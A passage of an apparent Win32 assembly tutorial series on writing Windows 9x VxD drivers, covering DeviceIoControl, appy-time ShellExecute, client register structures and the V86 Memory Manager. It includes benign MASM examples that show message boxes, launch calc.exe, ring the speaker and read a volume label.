VxD_PAGEABLE_DATA_SEG
pTitle dd ?
pMessage dd ?
VxD_PAGEABLE_DATA_ENDS

VxD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
.elseif [esi].dwIoControlCode==1
mov edi,[esi].lpvInBuffer
;-----------------------------------
; copy the message title to buffer
;-----------------------------------
VMMCall _lstrlen, <[edi]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pTitle,eax
pop eax
VMMCall _lstrcpyn,<pTitle,[edi],eax>
;-----------------------------------
; copy the message text to buffer
;-----------------------------------
VMMCall _lstrlen, <[edi+4]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pMessage,eax
pop eax
VMMCall _lstrcpyn,<pMessage,[edi+4],eax>
mov edi,pTitle
mov ecx,pMessage
mov eax,MB_OK
VMMCall Get_Sys_VM_Handle
VxDCall SHELL_sysmodal_Message
VMMCall _HeapFree,pTitle,0
VMMCall _HeapFree,pMessage,0
xor eax,eax
.endif
ret
EndProc OnDeviceIoControl
VxD_PAGEABLE_CODE_ENDS

end

Analysis:

We start from VxDLoader.asm.
invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
.if eax!=INVALID_HANDLE_VALUE
mov hVxD,eax
....
.else
invoke MessageBox,NULL,addr Failure,NULL,MB_OK+MB_ICONERROR
.endif
We call CreateFile to load the dynamic VxD. Note FILE_FLAG_DELETE_ON_CLOSE flag. This flag instructs Windows to unload the VxD when the VxD handle returned from CreateFile is closed. If CreateFile is successful, we store the VxD handle for future use.
invoke MessageBox,NULL,addr Success,addr AppName,MB_OK+MB_ICONINFORMATION
invoke DeviceIoControl,hVxD,1,addr InBuffer,8,NULL,NULL,NULL,NULL
invoke CloseHandle,hVxD
invoke MessageBox,NULL,addr Unload,addr AppName,MB_OK+MB_ICONINFORMATION
The program displays a message box when the VxD is loaded/unloaded. It calls DeviceIoControl with dwIoControlCode 1 and passes the address of InBuffer in lpInBuffer parameter, and the size of InBuffer (8) in nInBufferSize. InBuffer is a dword array of two elements: each element is the address of a text string.
MsgTitle db "DeviceIoControl Example",0
MsgText db "I'm called from a VxD!",0
InBuffer dd offset MsgTitle
dd offset MsgText
Now we turn our attention to the VxD.
It processes only w32_deviceIoControl message. When w32_deviceIoControl message is sent, OnDeviceIoControl procedure is called.
BeginProc OnDeviceIoControl
assume esi:ptr DIOCParams
.if [esi].dwIoControlCode==DIOC_Open
xor eax,eax
OnDeviceIoControl processes DIOC_Open code by returning 0 in eax.
.elseif [esi].dwIoControlCode==1
mov edi,[esi].lpvInBuffer
It also processes control code 1. The first thing it does is to extract the data in lpvInBuffer which are the two dwords passed in lpInBuffer of DeviceIoControl API. It puts the address to the dword array into edi for extraction. The first dword is the address of the text to be used as the message box title. The second dword is the address of the text to be used as the message box text.
;-----------------------------------
; copy the message title to buffer
;-----------------------------------
VMMCall _lstrlen, <[edi]>
inc eax
push eax
VMMCall _HeapAllocate,<eax,HEAPZEROINIT>
mov pTitle,eax
pop eax
VMMCall _lstrcpyn,<pTitle,[edi],eax>
It calculates the length of the message box title by calling VMM service _lstrlen. The value in eax returned by _lstrlen is the length of the string. We increase the length by 1 to take into account the terminating NULL. Next we allocate a block of memory large enough to hold the string with its terminating NULL by calling _HeapAllocate. HEAPZEROINIT flag instructs _HeapAllocate to zero out the memory block. _HeapAllocate returns the address of the memory block in eax. We then copy the string from the address space of the win32 app into the memory block we allocated. We do the same operation on the text string that we will use as the message box text.
mov edi,pTitle
mov ecx,pMessage
mov eax,MB_OK
VMMCall Get_Sys_VM_Handle
VxDCall SHELL_sysmodal_Message
We store the addresses of the title and message into edi and ecx, respectively. Put the desired flag into eax, obtain the VM handle of the system VM by calling Get_Sys_VM_handle and then call SHELL_Sysmodal_Message. SHELL_SysModal_Message is the system modal version of SHELL_Message. It freezes the system until the user responds to the message box.
VMMCall _HeapFree,pTitle,0
VMMCall _HeapFree,pMessage,0
When SHELL_Sysmodal_Message returns, we can free the memory blocks by calling _HeapFree.

Conclusion

DeviceIoControl interface makes it ideal to use a dynamic VxD as a ring-0 DLL extension to your win32 application.
[Iczelion's Win32 Assembly Homepage]


Application Time and Shell Functions

Download the example.

Some Theory

Application time is usually called "appy time". It simply means the time when the system VM is stable enough to allow interaction between VxDs and the ring-3 applications, especially 16-bit ones. For example, at appy time, VxDs can load and call functions in 16-bit DLLs. This appy time is not available under Windows 3.1x. Under Windows 3.1, a VxD can obtain the address of any function in a 16-bit DLL and simulate a far call to that address. However, this will interrupt whatever task the ring-3 program is doing resulting in VMM reentrancy. So the only APIs which VxDs can call are those that are interrupt-safe, i.e. PostMessage. Under Windows 95, a VxD can call almost any function in any 16-bit DLL with the help of appy time.
Simply put, if your VxD is notified that now is the appy time, it can load 16-bit DLLs and call functions in them. So how does a VxD know that the appy time is arrived? It must register an appy time event with the Shell VxD. When the system VM is in a stable state, the Shell VxD will call the callback function that the VxD specified when it registered for an appy time event. Shell VxD will call your callback function only once for each registration for appy time event. It's like applying for a job. You go to a recruiting agency, register your name/telephone number with them. Then you go home. When a job is available, the agency phones you about the good news. When you acknowledge that news, they will never call you again.
It may take some time before an appy time event is available. Appy time events are not available under these circumstances:
  • during system startup and shutdown
  • when system VM is in a critical section or waiting for a semaphore

Managing an appy time event

You can register for an appy time event by calling on _SHELL_CallAtAppyTime which has the following definition:
VxDCall _SHELL_CallAtAppyTime, <<OFFSET32 pfnCallback>, dwRefData, dwFlags, dwTimeout>
pfnCallBack The flat address of the callback function you want the Shell VxD to call when an appy time event occurs. The function will receive two parameters, dwRefData and dwFlags which are exactly identical to the two parameters you passed to _SHELL_CallAtAppyTime. Note that Shell VxD will call your callback function with C Calling sequence. In short, you have to define your callback function like this:

BeginProc OnAppyTime, CCALL, PUBLIC
ArgVar dwRefData,DWORD ; declare argument name and type
ArgVar dwFlags, DWORD
EnterProc

<Your code here>

LeaveProc
Return
EndProc OnAppyTime

dwRefData | Reference data you want Shell VxD to pass to your callback function. It can be anything you want.
dwFlags Event flags. Can be one of the following values:
CAAFL_RING0 Ring zero event.
CAAFL_TIMEOUT Time out the event after the duration specified by dwTimeout.
Simply put, if you want to wait for the appy time event for some period only, use CAAFL_TIMEOUT flag. If you want to wait indefinitely for the appy time event, use NULL. I don't know what CAAFL_RING0 actually does.
dwTimeout | The period of time the VxD wants to wait for the appy time event to occur. I can't find any info about the time unit used with this argument.

This service is asynchronous, meaning that it returns immediately after registering your callback function for the appy time event.
If this service call is successful, it returns the application time event handle in eax. If it fails, eax contains 0.
You can cancel the appy time registration by calling on _SHELL_CancelAppyTimeEvent which takes only one parameter, the appy time event handle returned by _SHELL_CallAtAppyTime.
To be on the safe side, prior to calling _SHELL_CallAtAppyTime, you should check the system if appy time event will be available. For example, what if you register for appy time event while the system is shutting down? Your VxD's callback will never be called! You can query the system wheter appy time event will be available by calling _SHELL_QueryAppyTimeAvailable. This service takes no parameter. It returns 0 in eax if appy time will not be available, i.e. the system is closing down or the message server got GP faults. This service doesn't tell you that now is the appy time: it only tells you that there may be appy time events. In short, if you want to play safe, call _SHELL_QueryAppyTimeAvailable first and if it returns a nonzero value in eax, you can proceed to call _SHELL_CallAtAppyTime.

Application-time Shell Services

When appy time is reached, there are several Shell services you can call:
  • _SHELL_CallDll
  • _SHELL_FreeLibrary
  • _SHELL_GetProcAddress
  • _SHELL_LoadLibrary
  • _SHELL_LocalAllocEx
  • _SHELL_LocalFree
Those six services are provided so VxDs can call 16-bit functions in 16-bit DLLs/ExE, such as WinHelp. However, since we are moving on to the 32-bit world (and 64-bit, in the future), I will not go into detail about them. If you're interested, you can read about them in Windows 95/98 DDK documentation.
There are other application-time-only SHELL services which I think are more useful:_SHELL_ShellExecute and _SHELL_BroadcastSystemMessage. With _SHELL_BroadcastSystemMessage, you can send a message to all top-level windows and all VxDs in one call! If the appy time is available, you can send messages to both windows and VxDs. If the appy time is not available, you can send messages only to VxDs.
_SHELL_ShellExecute is the ring-0 counterpart of ShellExecute function in ring-3. Actually it calls ring-3 ShellExecute to do the job. With this Shell service, you can execute/open/print any file. _SHELL_ShellExecute has the following definition:
VxDCall _SHELL_ShellExecute, <OFFSET32 ShexPacket>
It takes only one parameter, the flat address of a SHEXPACKET structure. It returns the value from ShellExecute in eax. Let's examine SHEXPACKET structure in detail next.
shex_dwTotalSize | The size in bytes of SHEXPACKET structure plus the optional parameter, rgchBaggage, which immediately follows this structure. I'll describe what rgchBaggage shortly.
shex_dwSize | The size in bytes of SHEXPACKET structure, not counting rgchBaggage. Combined with shex_dwTotalSize above, the SHELL VxD can calculate the size of rgchBaggage which is of arbitrary length.
shex_ibOp | The operation you want to perform. If you specify 0, it means you want to open the file. If the file is an executable one, it executes it. If you want to perform other operation, you must specify the name of the operation somewhere in rgchBaggage and this field must contain the distance in bytes from the start of this SHEXPACKET structure to the first character of the ASCIIZ string that specifies the name of the operation you want to perform. The size of SHEXPACKET is 32 bytes. If the operation string immediately follows the SHEXPACKET structure, the value in shex_ibOp MUST be 32. As to the list of the operations you can perform, check ShellExecute. There are three operations defined, "open", "print" and "explore".
shex_ibFile | The relative distance from the start of this structure to the ASCIIZ string that is the name of the file you want to send to ShellExecute, just like shex_ibOp.
shex_ibParams | The optional parameters you want to pass to the file specified in shex_ibFile. If the file is a document or you don't want to pass any parameter to it, use 0. If you want to pass some parameters to the file, put the parameter string somewhere after this structure and put the relative distance from the start of this structure to the string in this field. In short, just like shex_ibOp and shex_ibFile.
shex_ibDir | The working directory. Specify 0 if you want to use the Windows directory else you can specify your preferred directory string somewhere after this structure and put the relative distance between the start of this structure and the directory string in this field.
shex_dwReserved | As the name implied, it's reserved. Don't mess with it.
shex_nCmdShow | How the application window should be shown. It's one of the value you normally pass to ShowWindow, ie. the SW_XXXX value. Look up those values in windows.inc.

All members are DWORDs in size. Now where is that rgchBaggage member I promised I would describe? It's a little difficult to explain. rgchBaggage is a member of SHEXPACKET structure but it cannot be included into the structure definition because its size is arbitrary. Check shell.inc, you'd see that rgchBaggage is not defined in SHEXPACKET yet the Windows 9x DDK documentation asserts that it's a member of SHEXPACKET.
What's rgchBaggage? It's simply an array of ASCIIZ strings that follows SHEXPACKET structure. Within this array, you can put the name of the operation you want to perform on the file, the name of the file, the parameters you want to pass to the file and the working directory. SHELL VxD obtains the offset of the string in rgchBaggage by adding the relative distance between the SHEXPACKET structure to the first byte of the string to the flat offset of the SHEXPACKET. For example, if the SHEXPACKET structure begins at 60000h, and the string immediately follows the structure, the distance between the structure and the string is the size of the structure itself, 32 bytes (20h). So Shell VxD knows that the string is located at address 60020h.

The Example

This will be a very simple example just to show you how to register for an appy time event and use _SHELL_ShellExecute. The VxD will be a dynamic one which is loaded by a simple win32 application. When the user presses the "run Calculator" button, the win32 app calls DeviceIoControl to ask the VxD to register for an appy time event and run calc.exe which is located in the Windows directory.
;---------------------------------------------------------------------------------
;                                   VxD Source Code
;---------------------------------------------------------------------------------
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\shell.inc

VxDName TEXTEQU <VXDEXEC>
ControlName TEXTEQU <VXDEXEC_Control>
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Remember: The name of the vxd MUST be uppercase else it won't work/unload
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
      VxDCall _SHELL_CallAtAppyTime,<<OFFSET32 OnAppyTime>,0,0,0>
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnAppyTime, CCALL
 ArgVar RefData,DWORD
 ArgVar TheFlag,DWORD
 EnterProc
 mov File.shex_dwTotalSize,sizeof SHEXPACKET
 add File.shex_dwTotalSize,sizeof EXEName
 mov File.shex_dwSize,sizeof SHEXPACKET
 mov File.shex_ibOp,0
 mov File.shex_ibFile,sizeof SHEXPACKET
 mov File.shex_ibParams,0
 mov File.shex_ibDir,0
 mov File.shex_dwReserved,0
 mov File.shex_nCmdShow,1
 VxDCall _SHELL_ShellExecute, <OFFSET32 File>
 LeaveProc
 Return
EndProc OnAppyTime
VXD_PAGEABLE_CODE_ENDS

VXD_PAGEABLE_DATA_SEG
 File SHEXPACKET <>
 EXEName db "calc.exe",0
VXD_PAGEABLE_DATA_ENDS

end

Analysis

The VxD waits for DeviceIoControl messages, service no.1. When it receives such message, it registers for an application time event.
VxDCall _SHELL_CallAtAppyTime,<<OFFSET32 OnAppyTime>,0,0,0>
It passes the flat address of OnAppyTime function to _SHELL_CallAtAppyTime so that Shell VxD will call it when an appy time event occurs. We don't use any reference data and have no need for timeout so all three parameters following the flat address of OnAppyTime are zeroes.
When an appy time event occurs, the Shell VxD calls OnAppyTime function.
BeginProc OnAppyTime, CCALL
We declare a function with BeginProc. Since the Shell VxD will call OnAppyTime with C calling sequence, we need to specify CCALL attribute.
ArgVar RefData,DWORD
ArgVar TheFlag,DWORD
EnterProc
...
LeaveProc
Return
Since the Shell VxD will call OnAppyTime with two parameters, we must setup the stack frame accordingly. ArgVar macro is for adjusting the stack frame for each of the argument passed to the function. Its syntax is as follows:
ArgVar varname, size, used
varname is the name of the parameter. You can use any name you like. size is, of course, the size of the parameter in bytes. You can use BYTE, WORD, DWORD or 1,2,4. used is usually omitted.
Immediately following the ArgVar macros, we need to use EnterProc and LeaveProc macros to mark the beginning and the end of the instructions in the procedure so that the local variables and parameters can be accessed correctly. Use Return macro to return to the caller.
 mov File.shex_dwTotalSize,sizeof SHEXPACKET
 add File.shex_dwTotalSize,sizeof EXEName
 mov File.shex_dwSize,sizeof SHEXPACKET
 mov File.shex_ibOp,0
 mov File.shex_ibFile,sizeof SHEXPACKET
 mov File.shex_ibParams,0
 mov File.shex_ibDir,0
 mov File.shex_dwReserved,0
 mov File.shex_nCmdShow,1
 VxDCall _SHELL_ShellExecute, <OFFSET32 File>
The instructions inside the procedure is simple: initialize the SHEXPACKET structure and call _SHELL_ShellExecute service. Note that shex_dwTotalSize contains the combined size of the SHEXPACKET structure itself and the size of the string that follows it. This is the simple case. If the string doesn't immediately follow the structure, you must calculate the distance between the first byte of the structure and the last byte of the string yourself. shex_ibFile contains the size of the structure itself because the name of the program immediately follows the structure. shex_ibDir is zero meaning that we want to use the Windows directory as the working directory. Note that this doesn't mean the program must be in the windows directory. The program can be anywhere so long as Windows can find it. shex_nCmdShow is 1 which is the value SW_SHOWNORMAL.
File SHEXPACKET <>
EXEName db "calc.exe",0
We define a SHEXPACKET structure followed immediately by the name of the program that we want to execute.
[Iczelion's Win32 Assembly Homepage]


Client Register Structure

We will examine another important structure in this tutorial, namely the client register structure. Download the example.

Some theory

VxDs are very different from normal win32/win16/DOS applications. VxDs are, most of the time, dormant while other normal apps do their businesses. They act like supervisors which look over other ring-3 apps and correct them when they did something wrong. The typical situation is as follows:
  1. An interrupt occurs
  2. The VMM gains control
  3. The VMM saves the values of the registers
  4. The VMM services the interrupt or calls other VxDs to do the job
  5. The VMM returns control to the interrupted program.
The interesting thing about the above process is that, the only way VMM can affect the interrupted app is by modifying the saved register image. For example, if the VMM deems the interrupted program should resume at a different address, it can alter the value of CS:IP in the saved register image and then when the program is redispatched, it will resume execution at the new CS:IP.
The VMM saves the values of the registers at the interrupted point in the client register structure.
Client_Reg_Struc STRUC
Client_EDI DD ?
Client_ESI DD ?
Client_EBP DD ?
Client_res0 DD ?
Client_EBX DD ?
Client_EDX DD ?
Client_ECX DD ?
Client_EAX DD ?
Client_Error DD ?
Client_EIP DD ?
Client_CS DW ?
Client_res1 DW ?
Client_EFlags DD ?
Client_ESP DD ?
Client_SS DW ?
Client_res2 DW ?
Client_ES DW ?
Client_res3 DW ?
Client_DS DW ?
Client_res4 DW ?
Client_FS DW ?
Client_res5 DW ?
Client_GS DW ?
Client_res6 DW ?
Client_Alt_EIP DD ?
Client_Alt_CS DW ?
Client_res7 DW ?
Client_Alt_EFlags DD ?
Client_Alt_ESP DD ?
Client_Alt_SS DW ?
Client_res8 DW ?
Client_Alt_ES DW ?
Client_res9 DW ?
Client_Alt_DS DW ?
Client_res10 DW ?
Client_Alt_FS DW ?
Client_res11 DW ?
Client_Alt_GS DW ?
Client_res12 DW ?
Client_Reg_Struc ENDS
You can see that there are two sets of members in this structure: Client_xxx and Client_Alt_xxx. This requires a little explanation. In a given VM, there can be two threads of execution: V86 and protected-mode. If an interrupt occurs when a V86 program is active, the Client_xxx will contain the images of the registers of the V86 program, the Client_Alt_xxx will contain those of the PM program. Alternately, if an interrupt occurs when the PM program is active, the Client_xxx will contain the values of the PM program's registers while the Client_Alt_xxx will contain the values of the V86 program's registers. The Client_resX are reserved and not used.
You may have a question after examining the structure: what if I want to alter only a byte in a register, say al ? The above structure only describes word-and dword-sized registers. Have no fear. Take a look inside vmm.inc. There are additional two structures for just this purpose: Client_Word_Reg_Struc and Client_Byte_Reg_Struc. If you want to access word-or byte-sized registers, typecast the Client_Reg_Struc into Client_Word_Reg_Struc or Client_Byte_Reg_Struc according to your need. You can also

The next question: How can we obtain the pointer to the client register structure?

It's actually easy: most of the time, the VMM puts the address of the client register structure in ebp when it calls our VxD. The client register structure in this case is the current VM's. Alternatively, you can obtain this pointer from the VM handle. Remember that a VM handle is actually the linear address of the VM control block.
cb_s STRUC
CB_VM_Status DD ?
CB_High_Linear DD ?
CB_Client_Pointer DD ?
CB_VMID DD ?
CB_Signature DD ?
cb_s ENDS
CB_Client_Pointer contains the pointer to the client register structure of that VM. For example, you can obtain the pointer to the client register structure of the current VM by the following code:
VMMCall Get_Cur_VM_Handle   ; return the current VM handle in ebx
assume ebx:ptr cb_s
mov ebp,[ebx+CB_Client_Pointer] ; pointer to client reg struct
Now that we understand the client register structure, we can proceed to using it. We will use the client register structure to pass values in registers to an MS-DOS interrupt, namely, int 21h, service 2h, Display Character service. This MS-DOS service takes the character to be displayed in dl. If we pass the bell character (07h) to this service, it will play the bell through the PC speaker.
Remember that int 21h is an MS-DOS service thus it's available under V86 mode, how can we call a V86 interrupt from a VxD? One way is to use Exec_Int service. This VMM service takes the interrupt number to be called in eax. It simulates the specified interrupt and resumes the execution of the VM. However, it must be called within a nested execution block. A nested execution block is bracketed by Begin_Nest_V86_Exec (or Begin_Nest_Exec) and End_Nest_Exec. So if we want to call int 21h, service 2, we need to alter the Client_ah and Client_Dl of the Client_Byte_Reg_Struc structure within the nested execution block and then store the value 21h into eax. When everything is ready, call Exec_Int.

The Example

The example is a dynamic VxD that issues int 21h service 2 to play the PC speaker.
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\v86mmgr.inc

VxDName TEXTEQU <VXDINT>
ControlName TEXTEQU <VXDINT_Control>
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Remember: The name of the vxd MUST be uppercase else it won't work/unload
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
  Push_Client_State
  VMMCall Begin_Nest_V86_Exec
  assume ebp:ptr Client_Byte_Reg_Struc
  mov [ebp].Client_dl,7
  mov [ebp].Client_ah,2
  mov eax,21h
  VMMCall Exec_Int
  VMMCall End_Nest_Exec
  Pop_Client_State
EndI:
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_PAGEABLE_CODE_ENDS

end

Analysis

Push_Client_State
There is not much to analyze. When the VxD receives DeviceIoControl message, ebp already points to the current VM's client register structure. We call Push_Client_State macro to save the current state of the client registers on the stack. We later restore the client registers with Pop_Client_State.
VMMCall Begin_Nest_V86_Exec
Begin the nested execution block by calling Begin_Nest_V86_Exec.
assume ebp:ptr Client_Byte_Reg_Struc
mov [ebp].Client_dl,7
mov [ebp].Client_ah,2
Alter the images of dl and ah registers in the client register structure. This altered values will be used by the interrupt.
mov eax,21h
VMMCall Exec_Int
Exec_Int expects the interrupt number in eax. We want to issue int 21h. Then we call Exec_Int to simulate the interrupt.
VMMCall End_Nest_Exec
Pop_Client_State
When Exec_Int returns, we end the nested execution block and restore the saved values of the client registers from the stack.
You'll hear your PC speaker plays the bell character.
[Iczelion's Win32 Assembly Homepage]


Virtual 8086 Memory Manager

In the previous tutorial, you learn how to simulate V86 interrupt. However, there is one problem that hasn't been addressed yet: exchanging data between VxD and V86 code. We will learn how to use the V86 Memory Manager to our advantage in this regard.
Download the example.

Some Theory

If your VxD works with some V86 routines, it will be necessary sooner or later to pass large chunks of data to and from the V86 program. Passing a large amount of data via registers is out of question. Your next attempt might be to allocate a block of memory in ring 0 and pass the pointer to the memory block via some register so the V86 code can access the data. If you do so, it will probably crash your system because V86 addressing mode requires segment:offset pair, not the linear address.
There are many solutions to that problem. However, I choose an easy way here to demonstrate services provided by the V86 Memory Manager.
If somehow you can find a free memory block in the V86 region that you can use as the communcation buffer, that would solve one of the problems. However, the pointer translation problem remains. You can solve both problems by using the V86 Memory Mananger's services.
The V86 Memory Manager is the static VxD that manages memory for V86 applications. It also provides EMS and XMS services to V86 apps and API translation services to other VxDs. API translation is actually the process of copying the data from ring-0 into a buffer in V86 region and then passing the V86 address of the data to the V86 code. No magic here. The V86 Memory Manager maintains a translation buffer which is a block of memory in the V86 region for copying data from VxD to V86 region and vice versa. Initially this translation buffer is 4 kilobytes. You can increase the size of this buffer by calling V86MMGR_Set_Mapping_Info.
Now that you know about the translation buffer, how can we copy data to and from it? This question involves two services: V86MMGR_Allocate_Buffer and V86MMGR_Free_Buffer.
V86MMGR_Allocate_Buffer allocates a block of memory from the translation buffer and optionally copies the data from ring 0 into the allocated V86 block. V86MMGR_Free_Buffer does the reverse: it optionally copies the data from the allocated V86 block into a ring-0 buffer and frees the memory block allocated by V86MMGR_Allocate_Buffer.
Note that the V86 Memory Manager maintains the allocated buffers as a stack. That means the allocation/deallocation must observe the first in/first out rule. So if you make two calls to V86MMGR_Allocate_Buffer, the first V86MMGR_Free_Buffer will free the buffer allocated by the second V86MMGR_Allocate_Buffer call.
We can now proceed to examine V86MMGR_Allocate_Buffer definition. It's a register-based service.
ebx | Handle of the current VM
ebp | Pointer to the current VM's client register structure
ecx | Number of bytes to allocate from the translation buffer
carry flag | clear if you don't want to copy data from ring-0 buffer to the allocated block. Set if you want to copy data from ring-0 buffer to the allocated block
fs:esi | selector:offset of the ring-0 memory block that contains the data to be copied to the allocated buffer. Ignored if the carry flag is clear.

If the call is successful, the carry flag is clear and ecx contains the number of bytes actually allocated in the translation buffer. This value can be less than the value you requested so you should keep this value for use with V86MMGR_Free_Buffer call later. edi contains the v86 address of the allocated block with the segment in the high word, the offset in the low word. The carry flag is set if an error occurs.
V86MMGR_Free_Buffer accepts exactly the same parameters as V86MMGR_Allocate_Buffer.
What actually occurs when you call V86MMGR_Allocate_Buffer is that you allocate a block of memory in V86 region of the current VM and obtain the V86 address of that memory block in edi. We can use these services to pass data to and from V86 interrupts.
In addition to API translation, the V86 Memory Manager also offers API mapping service to other VxDs. API mapping is actually the process of mapping some pages in extended memory into V86 region of every VM. You can use V86MMGR_Map_Pages to do API mapping. With this service, the pages are mapped into the same linear address in every VM. This waste address space if you want to work with only one VM. Also API mapping is slower than API translation so you should use API translation as much as possible. API mapping is required for some V86 operation that needs to access the same linear address and must be present in all VMs.

The Example

This example uses API translation with int 21h, 440Dh minor code 66h, Get Media ID, to obtain the volume label of your first fixed disk.
;---------------------------------------------------------------
;                            VxDLabel.asm
;---------------------------------------------------------------
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\v86mmgr.inc

VxDName TEXTEQU <VXDLABEL>
ControlName TEXTEQU <VXDLABEL_Control>
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Remember: The name of the vxd MUST be uppercase else it won't work/unload
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
  VMMCall Get_Sys_VM_Handle
  mov Handle,ebx
  assume ebx:ptr cb_s
  mov ebp,[ebx+CB_Client_Pointer]
  mov ecx,sizeof MID
  stc
  push esi
  mov esi,OFFSET32 MediaID
  push ds
  pop fs
  VxDCall V86MMGR_Allocate_Buffer
  pop esi
  jc EndI
  mov AllocSize,ecx
  Push_Client_State
  VMMCall Begin_Nest_V86_Exec
  assume ebp:ptr Client_Byte_Reg_Struc
  mov [ebp].Client_ch,8
  mov [ebp].Client_cl,66h
  assume ebp:ptr Client_word_reg_struc
  mov edx,edi
  mov [ebp].Client_bx,3 ; drive A
  mov [ebp].Client_ax,440dh
  mov [ebp].Client_dx,dx
  shr edx,16
  mov [ebp].Client_ds,dx
  mov eax,21h
  VMMCall Exec_Int
  VMMCall End_Nest_Exec
  Pop_Client_State
  ;-------------------------------
  ; retrieve the data
  ;-------------------------------
  mov ecx,AllocSize
  stc
  mov ebx,Handle
  push esi
  mov esi,OFFSET32 MediaID
  push ds
  pop fs
  VxDCall V86MMGR_Free_Buffer
  pop esi
  mov edx,esi
  assume edx:ptr DIOCParams
  mov edi,[edx].lpvOutBuffer
  mov esi,OFFSET32 MediaID.midVolLabel
  mov ecx,11
  rep movsb
  mov byte ptr [edi],0
  mov ecx,[edx].lpcbBytesReturned
  mov dword ptr [edx],11
EndI:
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_PAGEABLE_CODE_ENDS

VXD_PAGEABLE_DATA_SEG
 MID struct
  midInfoLevel dw 0
  midSerialNum dd ?
  midVolLabel db 11 dup(?)
  midFileSysType db 8 dup(?)
 MID ends
 MediaID MID <>
 Handle dd ?
 AllocSize dd ?
VXD_PAGEABLE_DATA_ENDS

end

;------------------------------------------------------------
;                        Label.asm
; The win32 VxD loader.
;------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.data
Failure db "Cannot load VxDLabel.VXD",0
AppName db "Get Disk Label",0
VxDName db "\\.\vxdLabel.vxd",0
OutputTemplate db "Volume Label of Drive C",0

.data?
hInstance HINSTANCE ?
hVxD dd ?
DiskLabel db 12 dup(?)
BytesReturned dd ?

.const
IDD_VXDRUN    equ 101
IDC_LOAD      equ 1000

.code
start:
 invoke GetModuleHandle, NULL
 mov    hInstance,eax
 invoke DialogBoxParam, hInstance, IDD_VXDRUN ,NULL,addr DlgProc,NULL
 invoke ExitProcess,eax

DlgProc proc hDlg:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
 .IF uMsg==WM_INITDIALOG
  invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
  .if eax==INVALID_HANDLE_VALUE
   invoke MessageBox,hDlg,addr Failure,addr AppName,MB_OK+MB_ICONERROR
   mov hVxD,0
   invoke EndDialog,hDlg,NULL
  .else
   mov hVxD,eax
  .endif
 .elseif uMsg==WM_CLOSE
  .if hVxD!=0
   invoke CloseHandle,hVxD
  .endif
  invoke EndDialog,hDlg,0
 .ELSEIF uMsg==WM_COMMAND
  mov eax,wParam
  mov edx,wParam
  shr edx,16
  .if dx==BN_CLICKED
   .IF ax==IDC_LOAD
     invoke DeviceIoControl,hVxD,1,NULL,0,addr DiskLabel,12,addr BytesReturned,NULL
     invoke MessageBox,hDlg,addr DiskLabel,addr OutputTemplate,MB_OK+MB_ICONINFORMATION
   .endif
  .endif
 .ELSE
  mov eax,FALSE
  ret
 .ENDIF
 mov eax,TRUE
 ret
DlgProc endp
end start

Analysis

We will examine label.asm which is the win32 application which loads the VxD first.
invoke DeviceIoControl,hVxD,1,NULL,0,addr DiskLabel,12,\
                addr BytesReturned,NULL
It calls DeviceIoControl with device code equal to 1, no input buffer, a pointer to an output buffer and its size. DiskLabel is the buffer set aside for receiving the volume label returned by the VxD. The number of bytes actually returned will be stored in BytesReturned variable. This example demonstrates how to pass data to and receive data from a VxD: you pass input/output buffers to the VxD and the VxD reads from/write to the submitted buffers.
We will examine the VxD code next.
